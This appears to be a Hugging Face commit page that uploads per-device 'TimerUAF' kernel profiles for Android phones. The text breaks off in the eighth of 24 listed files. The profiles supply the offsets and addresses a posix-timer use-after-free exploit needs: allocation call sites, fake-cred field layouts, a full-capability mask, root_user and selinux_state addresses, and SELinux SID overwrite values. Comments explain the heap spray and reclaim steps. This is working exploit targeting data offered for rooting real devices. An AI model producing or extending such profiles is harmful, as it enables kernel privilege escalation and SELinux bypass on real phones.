EMZ4321 commited on
Commit
b0a070d
·
verified ·
1 Parent(s): a762409

Upload folder using huggingface_hub

Browse files
Files changed (24) hide show
  1. conf/conf/5.15.194-android13-8-00015-gf5526d1116e5-ab15004895.conf +83 -0
  2. conf/conf/6.1.138-android14-11-g0c3d559bcd85-ab14529422.conf +81 -0
  3. conf/conf/6.1.138-android14-11-g51f8c580613d-ab13911623.conf +81 -0
  4. conf/conf/6.1.162-android14-11-g9dd05ae3a1de-ab16261587-16k.conf +65 -0
  5. conf/conf/6.1.162-android14-11-g9dd05ae3a1de-ab16261587.conf +86 -0
  6. conf/conf/6.12.30-android16-5-g6e872b4863d6-ab13847919-4k.conf +74 -0
  7. conf/conf/6.12.58-android16-6-g7704a1ae279b-ab15213644-4k.conf +34 -0
  8. conf/conf/6.12.69-android16-6-g014ca48a80ee-ab15889839-4k.conf +74 -0
  9. conf/conf/6.12.69-android16-6-g242e1a07f878-ab15865446-4k.conf +34 -0
  10. conf/conf/6.12.69-android16-6-g43b5ab7e247d-abogki558343811-4k.conf +77 -0
  11. conf/conf/6.12.69-android16-6-g43b5ab7e247d-abogki561813157-4k.conf +44 -0
  12. conf/conf/6.12.69-android16-6-g586bfab1b9c5-abogki537510563-4k.conf +74 -0
  13. conf/conf/6.12.69-android16-6-g70777328ed0e-ab16108597-4k.conf +79 -0
  14. conf/conf/6.18.21-android17-5-g284297031c53-abogki555938958-4k.conf +79 -0
  15. conf/conf/6.18.21-android17-5-g805aa6adea19-abogki565292102-4k.conf +79 -0
  16. conf/conf/6.6.118-android15-8-g666ad52b8230-ab15657065-4k.conf +75 -0
  17. conf/conf/6.6.118-android15-8-g9bc34d5b0c79-abogki537459655-4k.conf +34 -0
  18. conf/conf/6.6.118-android15-8-gb9cc6ec16bc8-abogki536571621-4k.conf +74 -0
  19. conf/conf/6.6.118-android15-8-gc44b714366cc-abogki519650608-4k.conf +78 -0
  20. conf/conf/6.6.118-android15-8-ge56cf6b09cca-ab15511674-4k.conf +75 -0
  21. conf/conf/6.6.127-android15-8-g91d825611104-ab16252310-4k.conf +60 -0
  22. conf/conf/6.6.66-android15-8-g29d86c5fc9dd-abogki428889875-4k.conf +39 -0
  23. conf/conf/dirty/6.1.25-android14-11-maybe-dirty.conf +98 -0
  24. conf/conf/dirty/6.6.66-android15-8-maybe-dirty-4k.conf +64 -0
conf/conf/5.15.194-android13-8-00015-gf5526d1116e5-ab15004895.conf ADDED
@@ -0,0 +1,83 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # TimerUAF kernel profile (HOCON; JSON remains valid)
2
+ # Device: Redmi Note 17 4G (zephyr)
3
+ # Kernel: 5.15.194-android13-8-00015-gf5526d1116e5-ab15004895 (4K pages)
4
+ #
5
+ # Every constant below is derived from that factory boot.img. 5.15 links with
6
+ # the __pi_ kernel VA base, so text and data live at 0xffffffc008...
7
+ # init_posix_timers kmem_cache_create_usercopy("posix_timers_cache", 0x108,
8
+ # ...) -> timer_alloc 0x108
9
+ # do_timer_create bl kmem_cache_alloc at 0xffffffc00827ecd8, returns to
10
+ # 0xffffffc00827ecdc (x0 = posix_timers_cache)
11
+ # copy_process calls dup_task_struct, whose
12
+ # bl kmem_cache_alloc_node at 0xffffffc008132d10
13
+ # returns to 0xffffffc008132d14 (x0 = task_struct_cachep)
14
+ # -> low21 0x132d14
15
+ # fork_init() passes 0x1200 to kmem_cache_create_usercopy("task_struct"),
16
+ # and there is no task_struct_vendor_size_setup() on 5.15, so
17
+ # task_alloc_bytes stays 0x1200.
18
+ #
19
+ # Vulnerability: fs/exec.c begin_new_exec() still calls
20
+ # posix_cpu_timers_exit() before exit_itimers().
21
+ release = "5.15.194-android13-8-00015-gf5526d1116e5-ab15004895"
22
+ schema_version = 1
23
+ ksu_kmi = "android13-5.15"
24
+
25
+ page_size = 4096
26
+ page_shift = 12
27
+ slab_order = 1
28
+ slab_size = 8192
29
+ linear_min = 0xffffff0000000000
30
+ linear_max = 0xffffffc000000000
31
+
32
+ # 5.15 frees the order-1 slab through the PCP lists (free_the_page ->
33
+ # free_unref_page). The mm_page_free event does fire from free_pcp_prepare,
34
+ # but the same PCP path is why the 6.1 profiles additionally gate the
35
+ # reclaim burst on /proc/slabinfo; use the same conservative gate here.
36
+ pcp_free = 1
37
+
38
+ # do_timer_create -> kmem_cache_alloc(posix_timers_cache)
39
+ timer_site = 0xffffffc00827ecdc
40
+ timer_alloc = 0x108
41
+ # The `it` union (k_itimer.it) is at +0x78; its `cpu` member is a
42
+ # struct cpu_timer, whose first field `node` is at +0, so the timerqueue
43
+ # rb_node sits at +0x78.
44
+ timer_node_off = 0x78
45
+
46
+ # cred_jar: kmem_cache_create("cred_jar", 0xb0, 0,
47
+ # SLAB_PANIC|SLAB_ACCOUNT|SLAB_HWCACHE_ALIGN) -> object 0xc0
48
+ cred_req = 0xb0
49
+ cred_alloc = 0xc0
50
+ cred_size = 0xb0
51
+ # 5.15 cred uses a 4-byte atomic_t usage, so every field shifts down by 8.
52
+ cred_uid_off = 0x4
53
+ cred_euid_off = 0x14
54
+ cred_cap_off = 0x28
55
+ cred_cap_count = 5
56
+ cred_security_off = 0x78
57
+ cred_user_off = 0x80
58
+ cred_userns_off = 0x88
59
+ cred_ucounts_off = 0x90
60
+ cred_group_off = 0x98
61
+ fake_cred_off = 0x18
62
+
63
+ # link-time symbols (kallsyms)
64
+ selinux_state = 0xffffffc00adbad88
65
+ panic_on_warn = 0xffffffc00ab0add0
66
+
67
+ # task_struct / cred layout (BTF)
68
+ task_cred_off = 0x798
69
+ copy_process_low21 = 0x132d14
70
+ task_alloc_bytes = 0x1200
71
+
72
+ # capability and fake-cred refcounted sub-objects
73
+ fullcap = 0x1ffffffffff
74
+ root_user = 0xffffffc00ab32770
75
+ init_user_ns = 0xffffffc00acde250
76
+ init_ucounts = 0xffffffc00ab33ff0
77
+ init_groups = 0xffffffc00ab33b28
78
+
79
+ # task_security_struct
80
+ # Only selinux registers a cred blob here, and it is the first contributor,
81
+ # so its offset is 0.
82
+ selinux_blob_off = 0x0
83
+ selinux_sid_kernel = 1
conf/conf/6.1.138-android14-11-g0c3d559bcd85-ab14529422.conf ADDED
@@ -0,0 +1,81 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # TimerUAF kernel profile (HOCON; JSON remains valid)
2
+ # Device: Redmi Note 15 Pro+ 5G (flourite)
3
+ # Kernel: 6.1.138-android14-11-g0c3d559bcd85-ab14529422 (4K pages)
4
+ #
5
+ # Every constant below is derived from that factory boot.img. 6.1 links with
6
+ # the __pi_ kernel VA base, so text and data live at 0xffffffc008...
7
+ # init_posix_timers kmem_cache_create("posix_timers_cache", 0x108, 0,
8
+ # SLAB_PANIC|SLAB_ACCOUNT) -> timer_alloc 0x108
9
+ # do_timer_create bl kmem_cache_alloc at 0xffffffc008192088, returns to
10
+ # 0xffffffc00819208c (x0 = posix_timers_cache)
11
+ # copy_process calls dup_task_struct, whose
12
+ # bl kmem_cache_alloc_node at 0xffffffc0080ab67c
13
+ # returns to 0xffffffc0080ab680 (x0 = task_struct_cachep)
14
+ # -> low21 0xab680
15
+ # fork_init() passes 0x12c0 to kmem_cache_create_usercopy("task_struct"),
16
+ # and there is no task_struct_vendor_size_setup() on 6.1, so
17
+ # task_alloc_bytes stays 0x12c0.
18
+ #
19
+ # Vulnerability: fs/exec.c begin_new_exec() still calls
20
+ # posix_cpu_timers_exit() before exit_itimers().
21
+ release = "6.1.138-android14-11-g0c3d559bcd85-ab14529422"
22
+ schema_version = 1
23
+ ksu_kmi = "android14-6.1"
24
+
25
+ page_size = 4096
26
+ page_shift = 12
27
+ slab_order = 1
28
+ slab_size = 8192
29
+ linear_min = 0xffffff0000000000
30
+ linear_max = 0xffffffc000000000
31
+
32
+ # 6.1 frees order-1 slab pages through the PCP lists, which emit no
33
+ # mm_page_free event, so the reclaim is gated on /proc/slabinfo instead.
34
+ pcp_free = 1
35
+
36
+ # do_timer_create -> kmem_cache_alloc(posix_timers_cache)
37
+ timer_site = 0xffffffc00819208c
38
+ timer_alloc = 0x108
39
+ # The `it` union (k_itimer.it) is at +0x78; its `cpu` member is a
40
+ # struct cpu_timer, whose first field `node` is at +0, so the timerqueue
41
+ # rb_node sits at +0x78.
42
+ timer_node_off = 0x78
43
+
44
+ # cred_jar: kmem_cache_create("cred_jar", 0xb0, 0,
45
+ # SLAB_PANIC|SLAB_ACCOUNT|SLAB_HWCACHE_ALIGN) -> object 0xc0
46
+ cred_req = 0xb0
47
+ cred_alloc = 0xc0
48
+ cred_size = 0xb0
49
+ # 6.1 cred uses a 4-byte atomic_t usage, so every field shifts down by 8.
50
+ cred_uid_off = 0x4
51
+ cred_euid_off = 0x14
52
+ cred_cap_off = 0x28
53
+ cred_cap_count = 5
54
+ cred_security_off = 0x78
55
+ cred_user_off = 0x80
56
+ cred_userns_off = 0x88
57
+ cred_ucounts_off = 0x90
58
+ cred_group_off = 0x98
59
+ fake_cred_off = 0x18
60
+
61
+ # link-time symbols (kallsyms)
62
+ selinux_state = 0xffffffc00a2293d0
63
+ panic_on_warn = 0xffffffc009fdae08
64
+
65
+ # task_struct / cred layout (BTF)
66
+ task_cred_off = 0x838
67
+ copy_process_low21 = 0xab680
68
+ task_alloc_bytes = 0x12c0
69
+
70
+ # capability and fake-cred refcounted sub-objects
71
+ fullcap = 0x1ffffffffff
72
+ root_user = 0xffffffc00a000740
73
+ init_user_ns = 0xffffffc00a0004b0
74
+ init_ucounts = 0xffffffc00a001fc8
75
+ init_groups = 0xffffffc00a001a60
76
+
77
+ # task_security_struct
78
+ # Only selinux registers a cred blob here, and it is the first contributor,
79
+ # so its offset is 0.
80
+ selinux_blob_off = 0x0
81
+ selinux_sid_kernel = 1
conf/conf/6.1.138-android14-11-g51f8c580613d-ab13911623.conf ADDED
@@ -0,0 +1,81 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # TimerUAF kernel profile (HOCON; JSON remains valid)
2
+ # Device: Redmi Note 15 Pro 5G (lapis)
3
+ # Kernel: 6.1.138-android14-11-g51f8c580613d-ab13911623 (4K pages)
4
+ #
5
+ # Every constant below is derived from that factory boot.img. 6.1 links with
6
+ # the __pi_ kernel VA base, so text and data live at 0xffffffc008...
7
+ # init_posix_timers kmem_cache_create("posix_timers_cache", 0x108, 0,
8
+ # SLAB_PANIC|SLAB_ACCOUNT) -> timer_alloc 0x108
9
+ # do_timer_create bl kmem_cache_alloc at 0xffffffc008191af4, returns to
10
+ # 0xffffffc008191af8 (x0 = posix_timers_cache)
11
+ # copy_process calls dup_task_struct, whose
12
+ # bl kmem_cache_alloc_node at 0xffffffc0080ab67c
13
+ # returns to 0xffffffc0080ab680 (x0 = task_struct_cachep)
14
+ # -> low21 0xab680
15
+ # fork_init() passes 0x12c0 to kmem_cache_create_usercopy("task_struct"),
16
+ # and there is no task_struct_vendor_size_setup() on 6.1, so
17
+ # task_alloc_bytes stays 0x12c0.
18
+ #
19
+ # Vulnerability: fs/exec.c begin_new_exec() still calls
20
+ # posix_cpu_timers_exit() before exit_itimers().
21
+ release = "6.1.138-android14-11-g51f8c580613d-ab13911623"
22
+ schema_version = 1
23
+ ksu_kmi = "android14-6.1"
24
+
25
+ page_size = 4096
26
+ page_shift = 12
27
+ slab_order = 1
28
+ slab_size = 8192
29
+ linear_min = 0xffffff0000000000
30
+ linear_max = 0xffffffc000000000
31
+
32
+ # 6.1 frees order-1 slab pages through the PCP lists, which emit no
33
+ # mm_page_free event, so the reclaim is gated on /proc/slabinfo instead.
34
+ pcp_free = 1
35
+
36
+ # do_timer_create -> kmem_cache_alloc(posix_timers_cache)
37
+ timer_site = 0xffffffc008191af8
38
+ timer_alloc = 0x108
39
+ # The `it` union (k_itimer.it) is at +0x78; its `cpu` member is a
40
+ # struct cpu_timer, whose first field `node` is at +0, so the timerqueue
41
+ # rb_node sits at +0x78.
42
+ timer_node_off = 0x78
43
+
44
+ # cred_jar: kmem_cache_create("cred_jar", 0xb0, 0,
45
+ # SLAB_PANIC|SLAB_ACCOUNT|SLAB_HWCACHE_ALIGN) -> object 0xc0
46
+ cred_req = 0xb0
47
+ cred_alloc = 0xc0
48
+ cred_size = 0xb0
49
+ # 6.1 cred uses a 4-byte atomic_t usage, so every field shifts down by 8.
50
+ cred_uid_off = 0x4
51
+ cred_euid_off = 0x14
52
+ cred_cap_off = 0x28
53
+ cred_cap_count = 5
54
+ cred_security_off = 0x78
55
+ cred_user_off = 0x80
56
+ cred_userns_off = 0x88
57
+ cred_ucounts_off = 0x90
58
+ cred_group_off = 0x98
59
+ fake_cred_off = 0x18
60
+
61
+ # link-time symbols (kallsyms)
62
+ selinux_state = 0xffffffc00a2293d0
63
+ panic_on_warn = 0xffffffc009fdae08
64
+
65
+ # task_struct / cred layout (BTF)
66
+ task_cred_off = 0x838
67
+ copy_process_low21 = 0xab680
68
+ task_alloc_bytes = 0x12c0
69
+
70
+ # capability and fake-cred refcounted sub-objects
71
+ fullcap = 0x1ffffffffff
72
+ root_user = 0xffffffc00a000740
73
+ init_user_ns = 0xffffffc00a0004b0
74
+ init_ucounts = 0xffffffc00a001fc8
75
+ init_groups = 0xffffffc00a001a60
76
+
77
+ # task_security_struct
78
+ # Only selinux registers a cred blob here, and it is the first contributor,
79
+ # so its offset is 0.
80
+ selinux_blob_off = 0x0
81
+ selinux_sid_kernel = 1
conf/conf/6.1.162-android14-11-g9dd05ae3a1de-ab16261587-16k.conf ADDED
@@ -0,0 +1,65 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # TimerUAF kernel profile (HOCON; JSON remains valid)
2
+ # Device: Google Pixel 8 / 8 Pro / 8a / 9 / 9 Pro / 9 Pro XL / 9a / 10a
3
+ # 16K-page kernel_16k variant of CP3A.261005.002.A1 / CP3A.261005.005
4
+ #
5
+ # The release string is identical to the 4K profile; the app additionally
6
+ # matches page_size so the two profiles cannot be confused. Constants are
7
+ # from the 16K factory kernel:
8
+ # do_timer_create+0xa8 = 0xffffc00008193088
9
+ # posix_timers_cache is order-0 (16 KiB) with 62 objects.
10
+ release = "6.1.162-android14-11-g9dd05ae3a1de-ab16261587"
11
+ schema_version = 1
12
+ ksu_kmi = "android14-6.1"
13
+
14
+ # Select this profile only on a 16K userspace.
15
+ page_size = 16384
16
+ page_shift = 14
17
+ slab_order = 0
18
+ slab_size = 16384
19
+ linear_min = 0xffff000000000000
20
+ linear_max = 0xffffc00000000000
21
+
22
+ # The 16K slab is order-0, so the reclaim is gated on a page_alloc event
23
+ # instead of the PCP/slabinfo path used by the 4K profile.
24
+ pcp_free = 0
25
+
26
+ # do_timer_create -> kmem_cache_alloc(posix_timers_cache) call site.
27
+ timer_site = 0xffffc00008193088
28
+ timer_alloc = 0x108
29
+
30
+ # cred_jar: sizeof(struct cred)=0xb0, slab object=0xc0 (same 6.1 layout).
31
+ cred_req = 0xb0
32
+ cred_alloc = 0xc0
33
+ cred_size = 0xb0
34
+ cred_uid_off = 0x4
35
+ cred_euid_off = 0x14
36
+ cred_cap_off = 0x28
37
+ cred_cap_count = 5
38
+ cred_security_off = 0x78
39
+ cred_user_off = 0x80
40
+ cred_userns_off = 0x88
41
+ cred_ucounts_off = 0x90
42
+ cred_group_off = 0x98
43
+ # Distance from the stale k_itimer rb_node to the fake cred base.
44
+ fake_cred_off = 0x18
45
+
46
+ # link-time symbols (kallsyms)
47
+ selinux_state = 0xffffc0000a362458
48
+ panic_on_warn = 0xffffc0000a0f0c08
49
+
50
+ # task_struct / cred layout (BTF)
51
+ task_cred_off = 0x838
52
+ copy_process_low21 = 0xabfd8
53
+ task_alloc_bytes = 0x12c0
54
+
55
+ # capability and fake-cred refcounted sub-objects
56
+ fullcap = 0x1ffffffffff
57
+ root_user = 0xffffc0000a1195c0
58
+ init_user_ns = 0xffffc0000a119330
59
+ init_ucounts = 0xffffc0000a11ae48
60
+ init_groups = 0xffffc0000a11a8e0
61
+
62
+ # task_security_struct. The exploit fills 32 bytes from this offset, so 0
63
+ # sets every SID field.
64
+ selinux_blob_off = 0x0
65
+ selinux_sid_kernel = 1
conf/conf/6.1.162-android14-11-g9dd05ae3a1de-ab16261587.conf ADDED
@@ -0,0 +1,86 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # TimerUAF kernel profile (HOCON; JSON remains valid)
2
+ # Device: Google Pixel 8 (shiba), Android 17, build CP3A.261005.005
3
+ # ro.product.system.device=shiba / ro.build.id=CP3A.261005.005
4
+ #
5
+ # Derived from the full OTA image's boot.img
6
+ # shiba-ota-cp3a.261005.005-46aba9f8.zip
7
+ # (sha256 46aba9f8f735d7e672ecdca95cd8c4f466b531759a8d0417d853a82594b7e55e)
8
+ # boot.img -> kernel (LZ4 legacy, 16 MB) -> raw arm64 Image (35,637,760 bytes)
9
+ # Linux version 6.1.162-android14-11-g9dd05ae3a1de-ab16261587
10
+ # _text = 0xffffffc008000000 (4k pages).
11
+ #
12
+ # begin_new_exec call order (verified by disassembly):
13
+ # zap_other_threads -> unshare_files -> set_mm_exe_file -> exec_mmap ->
14
+ # posix_cpu_timers_exit -> exit_itimers => VULNERABLE
15
+ release = "6.1.162-android14-11-g9dd05ae3a1de-ab16261587"
16
+ schema_version = 1
17
+ ksu_kmi = "android14-6.1"
18
+
19
+ # 4K-page variant. The 16K kernel_16k has the same release string and a
20
+ # separate profile selected by page_size.
21
+ page_size = 4096
22
+ page_shift = 12
23
+ slab_order = 1
24
+ slab_size = 8192
25
+ linear_min = 0xffffff0000000000
26
+ linear_max = 0xffffffc000000000
27
+
28
+ # This kernel frees order-1 slab pages through the PCP lists, which emit no
29
+ # mm_page_free events, so the reclaim cannot wait for the free. Instead the
30
+ # spray is gated on /proc/slabinfo showing the victim's timers freed.
31
+ pcp_free = 1
32
+
33
+ # do_timer_create -> kmem_cache_alloc(posix_timers_cache) call site.
34
+ # do_timer_create@0xffffffc008192ed4, bl kmem_cache_alloc@0xffffffc008192f78
35
+ # x0 = [0xffffffc00a22eca0] = posix_timers_cache (size 0x108, align 0,
36
+ # flags 0x4040000 = SLAB_PANIC|SLAB_ACCOUNT, no SLAB_HWCACHE_ALIGN)
37
+ timer_site = 0xffffffc008192f7c
38
+ timer_alloc = 0x108
39
+
40
+ # cred_jar: kmem_cache_create("cred_jar", 0xb0, 0, 0x4042000, NULL)
41
+ # 0x4042000 = SLAB_PANIC|SLAB_ACCOUNT|SLAB_HWCACHE_ALIGN -> object 0xc0
42
+ #
43
+ # struct cred layout for 6.1.162 (BTF): the 4-byte atomic_t usage shifts every
44
+ # field down by 8 relative to the 6.6/6.12 layout, so all of the offsets below
45
+ # are explicit (they differ from the built-in defaults).
46
+ cred_req = 0xb0
47
+ cred_alloc = 0xc0
48
+ cred_size = 0xb0
49
+ cred_uid_off = 0x4
50
+ cred_euid_off = 0x14
51
+ cred_cap_off = 0x28
52
+ cred_cap_count = 5
53
+ cred_security_off = 0x78
54
+ cred_user_off = 0x80
55
+ cred_userns_off = 0x88
56
+ cred_ucounts_off = 0x90
57
+ cred_group_off = 0x98
58
+ # Distance from the stale k_itimer rb_node to the fake cred base.
59
+ fake_cred_off = 0x18
60
+
61
+ # link-time symbols (kallsyms)
62
+ selinux_state = 0xffffffc00a25b448
63
+ panic_on_warn = 0xffffffc00a00ac08
64
+
65
+ # task_struct / cred layout (BTF)
66
+ # sizeof(task_struct) = 0x12c0, kmem_cache_create_usercopy("task_struct",
67
+ # 0x12c0, 0x40, ...) -> slab object stays 0x12c0
68
+ # task_struct.cred = 0x838 (real_cred is the field before it, at 0x830)
69
+ # task_struct allocated in dup_task_struct (called by copy_process):
70
+ # bl kmem_cache_alloc_node@0xffffffc0080ac064,
71
+ # x0 = [0xffffffc00a206618] = task_struct_cachep
72
+ task_cred_off = 0x838
73
+ copy_process_low21 = 0xac068
74
+ task_alloc_bytes = 0x12c0
75
+
76
+ # capability and fake-cred refcounted sub-objects
77
+ fullcap = 0x1ffffffffff
78
+ root_user = 0xffffffc00a0305c0
79
+ init_user_ns = 0xffffffc00a030330
80
+ init_ucounts = 0xffffffc00a031e48
81
+ init_groups = 0xffffffc00a0318e0
82
+
83
+ # task_security_struct (BTF): osid@0x0, sid@0x4, exec_sid@0x8.
84
+ # The exploit fills 32 bytes from this offset, so 0 sets every SID field.
85
+ selinux_blob_off = 0x0
86
+ selinux_sid_kernel = 1
conf/conf/6.12.30-android16-5-g6e872b4863d6-ab13847919-4k.conf ADDED
@@ -0,0 +1,74 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # TimerUAF kernel profile (HOCON; JSON remains valid)
2
+ # Device: Redmi Note 15 Pro 4G (charoite)
3
+ # Kernel: 6.12.30-android16-5-g6e872b4863d6-ab13847919-4k (4K pages)
4
+ #
5
+ # Every constant below is derived from that factory boot.img:
6
+ # init_posix_timers kmem_cache_create("posix_timers_cache", 0x100, 0,
7
+ # SLAB_PANIC|SLAB_ACCOUNT) -> timer_alloc 0x100
8
+ # do_timer_create bl kmem_cache_alloc_noprof at 0xffffffc0801e1a10,
9
+ # returns to 0xffffffc0801e1a14 (x0 = posix_timers_cache)
10
+ # copy_process calls dup_task_struct, whose
11
+ # bl kmem_cache_alloc_node_noprof at 0xffffffc0800d1594
12
+ # returns to 0xffffffc0800d1598 (x0 = task_struct_cachep)
13
+ # -> low21 0xd1598
14
+ # arch_task_struct_size = sizeof(task_struct) 0x1440 + 0x200 from
15
+ # android_arch_task_struct_size=512 in the dtb
16
+ #
17
+ # Vulnerability: fs/exec.c begin_new_exec() still calls
18
+ # posix_cpu_timers_exit() before exit_itimers().
19
+ release = "6.12.30-android16-5-g6e872b4863d6-ab13847919-4k"
20
+ schema_version = 1
21
+ ksu_kmi = "android16-6.12"
22
+
23
+ page_size = 4096
24
+ page_shift = 12
25
+ slab_order = 1
26
+ slab_size = 8192
27
+ linear_min = 0xffffff0000000000
28
+ linear_max = 0xffffffc000000000
29
+
30
+ # do_timer_create -> kmem_cache_alloc_noprof(posix_timers_cache)
31
+ timer_site = 0xffffffc0801e1a14
32
+ timer_alloc = 0x100
33
+ # The `it` union (k_itimer.it) is at +0x78; its `cpu` member is a
34
+ # struct cpu_timer, whose first field `node` is at +0, so the timerqueue
35
+ # rb_node sits at +0x78.
36
+ timer_node_off = 0x78
37
+
38
+ # cred_jar: sizeof(struct cred)=0xb8 (BTF), SLAB_HWCACHE_ALIGN -> 0xc0
39
+ cred_req = 0xb8
40
+ cred_alloc = 0xc0
41
+ cred_size = 0xb8
42
+ cred_uid_off = 0x8
43
+ cred_euid_off = 0x18
44
+ cred_cap_off = 0x30
45
+ cred_cap_count = 5
46
+ cred_security_off = 0x80
47
+ cred_user_off = 0x88
48
+ cred_userns_off = 0x90
49
+ cred_ucounts_off = 0x98
50
+ cred_group_off = 0xa0
51
+ fake_cred_off = 0x18
52
+
53
+ # link-time symbols (kallsyms)
54
+ selinux_state = 0xffffffc0826784b8
55
+ panic_on_warn = 0xffffffc0823eafe0
56
+
57
+ # task_struct / cred layout (BTF)
58
+ task_cred_off = 0x900
59
+ copy_process_low21 = 0xd1598
60
+ # 0x1440 (BTF sizeof task_struct) + 0x200 (bootconfig vendor extension)
61
+ task_alloc_bytes = 0x1640
62
+
63
+ # capability and fake-cred refcounted sub-objects
64
+ fullcap = 0x1ffffffffff
65
+ root_user = 0xffffffc0824117a0
66
+ init_user_ns = 0xffffffc082411528
67
+ init_ucounts = 0xffffffc082413138
68
+ init_groups = 0xffffffc082412c68
69
+
70
+ # task_security_struct
71
+ # Only selinux registers a cred blob here, and it is the first contributor,
72
+ # so its offset is 0.
73
+ selinux_blob_off = 0x0
74
+ selinux_sid_kernel = 1
conf/conf/6.12.58-android16-6-g7704a1ae279b-ab15213644-4k.conf ADDED
@@ -0,0 +1,34 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # TimerUAF kernel profile (HOCON; JSON remains valid)
2
+ # Device: OPPO Pad mini OPD2515, kernel 6.12.58
3
+ release = "6.12.58-android16-6-g7704a1ae279b-ab15213644-4k"
4
+ schema_version = 1
5
+ ksu_kmi = "android16-6.12"
6
+
7
+ # do_timer_create -> kmem_cache_alloc_noprof(posix_timers_cache) call site
8
+ timer_site = 0xffffffc080517ee8
9
+ timer_alloc = 0x100
10
+
11
+ # cred_jar: sizeof(struct cred)=0xb8, slab object=0xc0
12
+ cred_req = 0xb8
13
+ cred_alloc = 0xc0
14
+ cred_uid_off = 0x8
15
+
16
+ # link-time symbols (kallsyms)
17
+ selinux_state = 0xffffffc0827b5948
18
+ panic_on_warn = 0xffffffc08251afe0
19
+
20
+ # task_struct / cred layout (BTF)
21
+ task_cred_off = 0x900
22
+ copy_process_low21 = 0xab018
23
+ task_alloc_bytes = 0x1440
24
+
25
+ # capability and fake-cred refcounted sub-objects
26
+ fullcap = 0x1ffffffffff
27
+ root_user = 0xffffffc082542360
28
+ init_user_ns = 0xffffffc0825420e8
29
+ init_ucounts = 0xffffffc082543cf8
30
+ init_groups = 0xffffffc082543828
31
+
32
+ # task_security_struct
33
+ selinux_blob_off = 0x8
34
+ selinux_sid_kernel = 1
conf/conf/6.12.69-android16-6-g014ca48a80ee-ab15889839-4k.conf ADDED
@@ -0,0 +1,74 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # TimerUAF kernel profile (HOCON; JSON remains valid)
2
+ # Device: Redmi Note 15 4G (spinel)
3
+ # Kernel: 6.12.69-android16-6-g014ca48a80ee-ab15889839-4k (4K pages)
4
+ #
5
+ # Every constant below is derived from that factory boot.img:
6
+ # init_posix_timers kmem_cache_create("posix_timers_cache", 0x100, 0,
7
+ # SLAB_PANIC|SLAB_ACCOUNT) -> timer_alloc 0x100
8
+ # do_timer_create bl kmem_cache_alloc_noprof at 0xffffffc0803718f0,
9
+ # returns to 0xffffffc0803718f4 (x0 = posix_timers_cache)
10
+ # copy_process bl kmem_cache_alloc_node_noprof at
11
+ # 0xffffffc0800e94a0, returns to 0xffffffc0800e94a4
12
+ # (x0 = task_struct_cachep); low21 0xe94a4
13
+ # arch_task_struct_size = sizeof(task_struct) 0x1440 + 0x200 from
14
+ # android_arch_task_struct_size=512 in the dtb
15
+ #
16
+ # Vulnerability: fs/exec.c begin_new_exec() still calls
17
+ # posix_cpu_timers_exit() before exit_itimers().
18
+ release = "6.12.69-android16-6-g014ca48a80ee-ab15889839-4k"
19
+ schema_version = 1
20
+ ksu_kmi = "android16-6.12"
21
+
22
+ page_size = 4096
23
+ page_shift = 12
24
+ slab_order = 1
25
+ slab_size = 8192
26
+ linear_min = 0xffffff0000000000
27
+ linear_max = 0xffffffc000000000
28
+
29
+ # do_timer_create -> kmem_cache_alloc_noprof(posix_timers_cache)
30
+ timer_site = 0xffffffc0803718f4
31
+ timer_alloc = 0x100
32
+ # The `it` union (k_itimer.it) is at +0x78; its `cpu` member is a
33
+ # struct cpu_timer, whose first field `node` is at +0, so the timerqueue
34
+ # rb_node sits at +0x78.
35
+ timer_node_off = 0x78
36
+
37
+ # cred_jar: sizeof(struct cred)=0xb8 (BTF), SLAB_HWCACHE_ALIGN -> 0xc0
38
+ cred_req = 0xb8
39
+ cred_alloc = 0xc0
40
+ cred_size = 0xb8
41
+ cred_uid_off = 0x8
42
+ cred_euid_off = 0x18
43
+ cred_cap_off = 0x30
44
+ cred_cap_count = 5
45
+ cred_security_off = 0x80
46
+ cred_user_off = 0x88
47
+ cred_userns_off = 0x90
48
+ cred_ucounts_off = 0x98
49
+ cred_group_off = 0xa0
50
+ fake_cred_off = 0x18
51
+
52
+ # link-time symbols (kallsyms)
53
+ selinux_state = 0xffffffc082888890
54
+ panic_on_warn = 0xffffffc0825dade0
55
+
56
+ # task_struct / cred layout (BTF)
57
+ task_cred_off = 0x900
58
+ copy_process_low21 = 0xe94a4
59
